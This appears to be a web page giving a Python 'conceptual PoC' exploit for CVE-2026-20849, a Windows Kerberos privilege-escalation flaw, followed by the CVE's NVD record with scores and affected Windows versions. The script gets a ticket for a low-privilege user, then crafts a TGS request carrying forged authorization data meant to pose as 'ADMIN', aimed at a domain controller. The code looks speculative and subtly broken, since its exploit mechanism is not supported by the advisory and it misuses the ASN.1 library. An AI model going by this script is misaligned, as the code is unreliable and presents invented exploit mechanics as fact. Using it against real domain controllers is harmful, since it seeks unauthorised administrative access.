CVE-2026-20849

# CVE-2026-20849 PoC - Kerberos Privilege Escalation # Note: This is a conceptual PoC for educational purposes only # Do not use without proper authorization import struct import socket from impacket import kerberos from impacket.krb5.asn1 import AP_REQ, Authenticator def create_kerberos_exploit_packet(target_ip, username, password, domain): """ Create malicious Kerberos request to exploit CVE-2026-20849 """ # Step 1: Get initial TGT from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT try: tgt, cipher, key, sessionKey = getKerberosTGT( username, password, domain, '', target_ip ) # Step 2: Craft malicious TGS-REQ with untrusted input # The exploit leverages improper validation of auth indicators from impacket.krb5.asn1 import TGS_REQ, TGS_REQ_BODY, KerberosTime, SeqOfInt tgs_req = TGS_REQ() tgs_req_body = TGS_REQ_BODY() # Maliciously crafted auth indicators (CVE-2026-20849) # These untrusted inputs bypass security decisions tgs_req_body['sname'] = {'name-type': 2, 'name-string': [{'data': 'krbtgt'}, {'data': domain}]} # Inject forged authorization data tgs_req_body['enc-authorization-data'] = { 'ad-type': 142, # AD-NON-KERBEROS 'ad-data': b'\x00\x00\x00\x00\x41\x44\x4d\x49\x4e' } tgs_req['pvno'] = 5 tgs_req['msg-type'] = 12 tgs_req['body'] = tgs_req_body return tgs_req except Exception as e: print(f"Error: {e}") return None # Example usage # exploit = create_kerberos_exploit_packet('192.168.1.10', 'lowpriv_user', 'password123', 'DOMAIN.COM') # Send exploit to KDC on port 88

{"cve": {"id": "CVE-2026-20849", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:13.480", "lastModified": "2026-01-15T14:00:19.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reliance on untrusted inputs in a security decision in Windows Kerberos allows an authorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Dependencia de entradas no confiables en una decisión de seguridad en Windows Kerberos permite a un atacante autorizado elevar privilegios a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-807"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20849", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}